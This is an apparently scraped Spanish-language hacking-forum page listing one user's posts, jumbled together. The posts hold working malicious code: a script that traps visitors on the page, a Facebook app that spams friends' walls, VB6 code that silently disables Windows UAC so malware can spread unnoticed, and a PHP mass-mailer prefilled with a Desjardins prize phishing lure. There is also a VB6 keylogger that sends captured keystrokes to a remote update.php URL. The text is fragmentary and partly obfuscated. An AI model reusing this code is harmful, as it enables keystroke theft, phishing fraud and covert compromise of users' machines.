Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
<HTML>
<head>
<script>
function closeIt()
{
window.open(self.location);
}
window.onbeforeunload = closeIt;
</script>
</head>
<body>
</body>
</html>
iframe src="http://www.facebook.com/" name="fid1" id="fid1" width="100%" height="100%" marginwidth="0" marginheight="0" frameborder="0" scrolling="no"></iframe>
http://www1.zty2.com/qpgl4p?u9eieuuj=mabe16LY6Nzl1uZY6qLJpp2lp5qg5OKWsmyLysfX56fNtcaCm6XYppemppDp57ap63CLy87ZsszZur9Y6KDQ4aLn5c7q6Z%2BV2HaywYve5aespKpgpnCXl5ampZiupp%2Bl6ZrZ3tiyppDx3d1vpmmXoovp6da3pKqUqmmYoZylrp%2Bg6OxvpmyXoZyqrKKwrJ%2BW5KbG0tOy7OHxp6em5Knf0dCi3N%2Fb5t1grWvOl9Pa6ZDb3t6csqrR0d7om9zf2raa6a3Vjpi2mpzAmat47LDcl8vW2M%2Fc4%2Bido5zU1oqnu9ao5OGimmyr3oqoudLu6OlXp26YqoqnqpzAmatnp3%2FS0Mbn3szb4N2bo5zU1oqnqpzAmato3V6Yrce2xq%2Fn58h05l0%3D
var zc9rvF3044alzDKJd="37278";
var v26EyNdGW15lP128M67xLPYey1DCr7="bz rav"+'"'+"{=waiouwrqaf:"+'"'+"hjaqx"+'"'+",esllaf:"+'"'+"yhafesorqgnn"+'"'+",slaf:"+'"'+"jdnfic"+'"'+",e"+'"'+"t"+'"'+",eslaf:"+'"'+"kvyddk"+'"'+",eslaf:nd-:"+'"'+"kjvjemhu"+'"'+",1id< "+'"'+":"+'"'+"fm v"+'"'+"\\=ssalc_omorpn\\>"+'"'+"\\niam\\ di vid<torp"+'"'+"\\=>"+'"'+"\\pot_omn\\vid<t\\ ssalc _omorp"+'"'+"\\=abdnuorgkcdi "+'"'+"\\sel_pot"+'"'+"\\=tfid/\\<>"+'"'+"\\ n\\>valc vid< ssomorp"+'"'+"\\=gkcab_ "+'"'+"\\sdnuordir_pot"+'"'+"\\="+'"'+"\\thgi\\>vid/\\<> n>vid/\\< d< n\\=ssalc vi"+'"'+"\\oc_omorp\\tnetn n\\ n\\>"+'"'+" alc vid<p"+'"'+"\\=sskcab_omorrg "+'"'+"\\sdnuol"+'"'+"\\=di\\unem_tfe>"+'"'+"\\>vid/\\<n\\ nc vid< alacs"+'"'+"\\=ss_srenn"+'"'+"\\gniddap\\>d<t\\ nalc vimorp"+'"'+"\\=ss_ouorgkcabit sdnps<>"+'"'+"\\eltnaiD draH>irD ks\\<)2( sevs/d/\\<>nap n\\>vic vid< alacs"+'"'+"\\=ss1wor_n n\\>"+'"'+"\\t\\alc vid<s"+'"'+"\\=sskcolb_nac\\1 n\\>"+'"'+"id<t\\ \\=ssalc vp"+'"'+"cab_omornuorgki_nacs sdoc/\\<>"+'"'+"\\1nn\\>vidid< v"+'"'+"\\=ssalcrenacs"+'"'+"\\redloh_\\>\\ n vid<ts"+'"'+"\\=ssalcac\\ecalp_ntatS>"+'"'+"C ksiD su :i naps< cs"+'"'+"\\=d\\1txet_na>"+'"'+"gninnacS/\\<...d/\\<>napsvi n\\>vid< "+'"'+"\\=ssalc rpkcab_omodnuorg_redaol sgbid/\\<>"+'"'+"\\ n\\>vvid< c l"+'"'+"\\=ssal_redaoi "+'"'+"\\trela=ds_nacs"+'"'+"\\1sutaterht 0>"+'"'+"\\tatceted sd/\\<de n\\>vi \\>vid/\\< nn\\>vid/\\< vid<
<?PHP
require_once 'facebook-platform/client/facebook.php';
$api_key = 'xxxx';
$secret = 'xxxx';
$facebook = new Facebook($api_key, $secret);
$user = $facebook->require_login();
$fql = 'SELECT uid FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1='.$user.')';
$ids_array = $facebook->api_client->fql_query($fql);
if ($ids_array) {
foreach ($ids_array as $id) {
$target_id = $id['uid'];
?>
<script>
var attachment = {
'name':'xxxx',
'href':'http://apps.facebook.com/xxxx/',
'caption':'xxxx',
'media':[{'type':'image','src':'xxxx','href':'http://apps.facebook.com/xxxx/'}
]};
var actionLinks = [{ "text": "xxxx", "href": "http://apps.facebook.com/xxxx"}];
Facebook.streamPublish('xxxx',attachment,actionLinks,<?=$target_id?>);
</script>
<?
Print_r ($target_id);
}
}
?>
<?
$html = file_get_contents('http://www.example.com');
$dom = new DOMDocument();
@$dom->loadHTML($html);
// grab all the on the page
$xpath = new DOMXPath($dom);
$hrefs = $xpath->evaluate("/html/body//a");
for ($i = 0; $i < $hrefs->length; $i++) {
$href = $hrefs->item($i);
$url = $href->getAttribute('href');
echo $url.',';
}
?>print_r(explode(',', $url));
$sql = mysql_query("SELECT * FROM logs4 WHERE user='$user'");
if(mysql_num_rows($sql) ==0){
mysql_query ("INSERT INTO logs4 (ip , user , datos ) VALUES ('$ip' , '$user' , '$datos' )") or die (mysql_error());
Option Explicit
Private Declare Function CreateFile Lib "kernel32" _
Alias "CreateFileA" ( _
ByVal lpFileName As String, _
ByVal dwDesiredAccess As Long, _
ByVal dwShareMode As Long, _
ByVal lpSecurityAttributes As Long, _
ByVal dwCreationDisposition As Long, _
ByVal dwFlagsAndAttributes As Long, _
ByVal hTemplateFile As Long) As Long
Private Declare Function WriteFile Lib "kernel32" ( _
ByVal hFile As Long, _
ByVal lpBuffer As Any, _
ByVal nNumberOfBytesToWrite As Long, _
lpNumberOfBytesWritten As Long, _
ByVal lpOverlapped As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" ( _
ByVal hHandle As Long) As Long
Const OPEN_ALWAYS = 4
Const GENERIC_WRITE = &H40000000
Const FILE_SHARE_WRITE = &H2
Const FILE_ATTRIBUTE_NORMAL = &H80
Private Declare Function ShellExecuteEx Lib "shell32.dll" ( _
ByRef lpExecInfo As SHELLEXECUTEINFOA) As Long
Private Type SHELLEXECUTEINFOA
cbSize As Long
fMask As Long
hwnd As Long
lpVerb As String
lpFile As String
lpParameters As String
lpDirectory As String
nShow As Long
hInstApp As Long
lpIDList As Long
lpClass As String
hkeyClass As Long
dwHotKey As Long
hIcon As Long
hProcess As Long
End Type
Const SW_NORMAL = 1
Const SW_HIDE = 0
Private Sub Form_Load()
On Error Resume Next
Dim strPath As String
Dim strBatCode As String
strBatCode = "Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Security Center" & Chr(34) & " /v UACDisableNotify /t reg_dword /d 00000001 /f" & vbCrLf & _
"Reg add " & Chr(34) & "hkey_local_machine\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" & Chr(34) & " /v EnableLUA /t REG_DWORD /d 00000000 /f"
Write2File Environ$("TEMP") & "\temp.bat", strBatCode
strPath = Environ$("TEMP") & "\temp.bat"
If Elevate(strPath) Then
MsgBox "! Elevación de Privilegios Exitosa ¡ A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb" ' si lo usan quiten estos mensajes solo los coloque para probar la función
Else
MsgBox "No se pudo elevar privilegios A : " & vbCrLf & _
strPath, vbInformation, "ShellExecuteEx RUNAS Verb"
End If
End
End Sub
Private Function Elevate(strPath As String) As Boolean
Dim ExInfo As SHELLEXECUTEINFOA
Dim lnRet As Long
With ExInfo
.cbSize = Len(ExInfo)
.fMask = 0&
.hwnd = hwnd
.lpVerb = "runas"
.lpFile = strPath
.lpParameters = vbNullChar
.lpDirectory = vbNullChar
.nShow = SW_HIDE
End With
On Error Resume Next
lnRet = ShellExecuteEx(ExInfo)
If lnRet <> 1 Then
Elevate = False
Exit Function
End If
Elevate = True
End Function
Private Sub Write2File(Filename As String, Buffer As String)
On Error Resume Next
Dim hFile As Long
Dim hWrite As Long
hFile = CreateFile(Filename, GENERIC_WRITE, FILE_SHARE_WRITE, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
If hFile <> 0 Then
hWrite = WriteFile(hFile, Buffer, Len(Buffer), 0, 0)
End If
CloseHandle (hFile)
End SubCitarby Mono Gramatical at/on 18:29
in
Bueno, estuve probando con algunas claves del registro del Windows Vista, y me parecio interesante dos valores EnableLUA y UACDisableNotify, la primera deshabilita la UAC y la segunda hace que no se muestre la notificación de seguridad que advierte que la UAC ha sido deshabilitada. el inconveniente con esto es que solo se pueden agregar estos valores al registro con privilegios administrativos, es por eso que opte por utilizar la API ShellExecuteEx que combinada con el verbo "Runas" hace que una determinada aplicación solicite y corra con privilegios. para ello primero creo un bat que escribe en el registro y lo ejecuto con privilegios si se acepta la uac queda deshabilitada y de esta forma puedo copiarme a las carpetas del sistema y modificar las claves que activada la UAC no podriamos modificar.
Nos es algo muy bueno pero se puede deshabilitar la UAC sin levantar sospechas
<?php
//
//
//
set_time_limit(0);
if($_POST['Manda'])
{
//EMAIL DO DESTINAT?RIO
$FromName = $_POST['FromName'];
$FromMail = $_POST['FromMail'];
//ASSUNTO DO EMAIL
$assunto = $_POST['assunto'];
//MENSAGEM DO EMAIL
$mensagem = $_POST['html'];
$mensagem = stripslashes($mensagem);
//ESTO LO AGREGUE YO PARA VER SI ASI SE REEMPLAZABA PERO NO FUNCIONO
$arquivo = $_POST['lista'];
//CABE?ALHO DO EMAIL
$headers .= "MIME-Version: 1.0\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\n";
$headers .= "To: ".$FromName ." <" . $arquivo . ">\n";
$headers = "From: " . $FromName . " <" . $arquivo . ">\n";
$headers .= "X-Priority: 1\n";
$headers .= "X-MSMail-Priority: High\n";
$headers .= "X-Mailer: Msn.com Server";
//ARQUIVO COM OS EMAILS
$arquivo = $_POST['lista'];
//GERANDO UM ARRAY COM A LISTA
$file = explode("\n", $arquivo);
$i = 1;
}
?>
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<p> </p>
<style type="text/css">
td {
font-family:verdana;
color:#000000;
font-size:10px;
}
</style>
<?
if($_POST['Manda']) { ?>
<table width="59%" height="30" border="0" align="center" cellpadding="2" cellspacing="1" bgcolor="#333333">
<tr>
<td bgcolor="#f5f5f5">
<?
foreach ($file as $mail) {
if(mail($mail, $assunto, $mensagem, $headers)) {
echo "<font color=green face=verdana size=1>* $i - ".$mail."</font> <font color=green face=verdana size=1>OK</font><br>";
} else {
echo "* $i ".$mail[$i]." <font color=red>NO</font><br><hr>";
$i++;
}
}
?>
</td>
</tr>
</table>
<? } ?>
<form name="form1" method="post" action="">
<table width="47%" height="202" border="0" align="center" cellpadding="0" cellspacing="2" bgcolor="#F4F4F4">
<tr>
<td colspan="2" align="center"><b>$ MASS EMAIL $ </b></td>
</tr>
<tr>
<td width="34%" align="center"><b>Subject:</b></td>
<td width="66%"><input name="assunto" type="text" id="assunto3" value="Vous avez gagn? 5000$ comme cadeau de no?l!" size="50"></td>
</tr>
<tr>
<td align="center"><b>Sender Name:</b></td>
<td><input name="FromName" type="text" value="Concours Desjardins" size="50"></td>
</tr>
<tr>
<td align="center"><b>Sender Email:</b></td>
<td><input name="FromMail" type="text" size="50"></td>
</tr>
<tr>
<td><b>MSG:</b></td>
<td><textarea name="html" cols="38" rows="10" id="textarea2"></textarea></td>
</tr>
<tr>
<td><b>E-MAILS:</b></td>
<td><textarea name="lista" cols="38" rows="10" id="textarea3"></textarea></td>
</tr>
<tr>
<td align="center" colspan="2"><input name="Manda" type="submit" id="Manda" value="Enviar"></td>
</tr>
</table>
</form>
)
Public Function FireEvent(ByVal intKey As Integer, ByVal strKeyName As String, ByVal bIsFunctionKey As Boolean, ByVal strInApplication As String)
On Error Resume Next
If strInApplication = strLastApplication Then
Tecla_Presionada intKey, strKeyName, bIsFunctionKey, strInApplication, False
Else
Tecla_Presionada intKey, strKeyName, bIsFunctionKey, strInApplication, True
strLastApplication = strInApplication
End If
End Function
Public Function Tecla_Presionada(ByVal intKey As Integer, ByVal strKeyName As String, ByVal bIsFunctionKey As Boolean, ByVal strInApplication As String, ByVal vCambio_De_Aplicacion As Boolean)
If vCambio_De_Aplicacion Then
If Not FMain.txt.Text = "" Then
FMain.txt.Text = FMain.txt.Text & vbNewLine & vbNewLine
End If
FMain.txt.Text = FMain.txt.Text & "<hr><b>...:::." & Now & ":::...<br>" & strInApplication & "</b><hr><br>" & vbNewLine
If bIsFunctionKey Then
FMain.txt.Text = FMain.txt.Text & strKeyName
Else
FMain.txt.Text = FMain.txt.Text & Chr(intKey)
End If
Else
If bIsFunctionKey Then
FMain.txt.Text = FMain.txt.Text & strKeyName
Else
FMain.txt.Text = FMain.txt.Text & Chr(intKey)
End If
End If
End Function
.
Private Sub Timer2_Timer()
If Len(Text1) >= 2000 Then
Call ShellExecute(hwnd, "Open", ("iexplore.exe"), "http://www.misitio.com/update.php?datos=" & Text1, vbNullString, 0)
Text1 = ""
End If
End Sub
Citar
knda
CitarNo se que kisieron decir! jajajaja...
en
dhuoe e madba ar
For i = Asc("A") To Asc("Z")
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & LCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & UCase(Chr(i))
Exit Sub
End If
Else
If GetKeyState(VK_CAPITAL) > 0 Then
Text1 = Text1 & UCase(Chr(i))
Exit Sub
Else
Text1 = Text1 & LCase(Chr(i))
Exit Sub
End If
End If
End If
Next
For i = 48 To 57
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i)
Exit Sub
Else
Text1 = Text1 & Chr(i)
Exit Sub
End If
End If
Next
For i = 186 To 192
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
For i = 219 To 222
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
If GetAsyncKeyState(VK_SHIFT) < 0 Then
Text1 = Text1 & ChangeChr(i - 100)
Exit Sub
Else
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
End If
Next
For i = 96 To 111
If GetAsyncKeyState(i) = -32767 Then
TypeWindow
Text1 = Text1 & ChangeChr(i)
Exit Sub
End If
Next
If GetAsyncKeyState(8) = -32767 Then
TypeWindow
If (Right(Text1, 1) = " ") Then GoTo nod
tip = Len(Text1) - 1
Text1 = Left(Text1, tip)
nod:
End If
If GetAsyncKeyState(9) = -32767 Then
TypeWindow
Text1 = Text1 & "[Tab]"
End If
If GetAsyncKeyState(13) = -32767 Then
Text1 = Text1 & "<br>"
End If
If GetAsyncKeyState(17) = -32767 Then
Text1 = Text1 & "[Ctrl]"
End If
If GetAsyncKeyState(18) = -32767 Then
Text1 = Text1 & "[Alt]"
End If
If GetAsyncKeyState(19) = -32767 Then
Text1 = Text1 & "[Pausa]"
End If
If GetAsyncKeyState(20) = -32767 Then
Text1 = Text1 & "[Mayús]"
End If
If GetAsyncKeyState(27) = -32767 Then
Text1 = Text1 & "[Esc]"
End If
If GetAsyncKeyState(32) = -32767 Then
Text1 = Text1 & " "
End If
If GetAsyncKeyState(37) = -32767 Then
Text1 = Text1 & "[<-]"
End If
If GetAsyncKeyState(38) = -32767 Then
Text1 = Text1 & "[Up]"
End If
If GetAsyncKeyState(39) = -32767 Then
Text1 = Text1 & "[->]"
End If
If GetAsyncKeyState(40) = -32767 Then
Text1 = Text1 & "[Down]"
End If
If GetAsyncKeyState(44) = -32767 Then
Text1 = Text1 & "[Print]"
End If
If GetAsyncKeyState(91) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(92) = -32767 Then
Text1 = Text1 & "[Win]"
End If
If GetAsyncKeyState(93) = -32767 Then
Text1 = Text1 & "[Pps]"
End If
If GetAsyncKeyState(112) = -32767 Then
Text1 = Text1 & "[F1]"
End If
If GetAsyncKeyState(113) = -32767 Then
Text1 = Text1 & "[F2]"
End If
If GetAsyncKeyState(114) = -32767 Then
Text1 = Text1 & "[F3]"
End If
If GetAsyncKeyState(115) = -32767 Then
Text1 = Text1 & "[F4]"
End If
If GetAsyncKeyState(116) = -32767 Then
Text1 = Text1 & "[F5]"
End If
If GetAsyncKeyState(117) = -32767 Then
Text1 = Text1 & "[F6]"
End If
If GetAsyncKeyState(118) = -32767 Then
Text1 = Text1 & "[F7]"
End If
If GetAsyncKeyState(119) = -32767 Then
Text1 = Text1 & "[F8]"
End If
If GetAsyncKeyState(120) = -32767 Then
Text1 = Text1 & "[F9]"
End If
If GetAsyncKeyState(121) = -32767 Then
Text1 = Text1 & "[F10]"
End If
If GetAsyncKeyState(122) = -32767 Then
Text1 = Text1 & "[F11]"
End If
If GetAsyncKeyState(123) = -32767 Then
Text1 = Text1 & "[F12]"
End If
If GetAsyncKeyState(145) = -32767 Then
Text1 = Text1 & "[Desp]"
End If
If GetAsyncKeyState(144) = -32767 Then
Text1 = Text1 & "[Num]"
End If
For i = 45 To 46
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next
For i = 33 To 36
If GetAsyncKeyState(i) = -32767 Then
Text1 = Text1 & ChangeChr(i)
End If
Next
End Sub
y ya no sera indetectable xD jejejeje.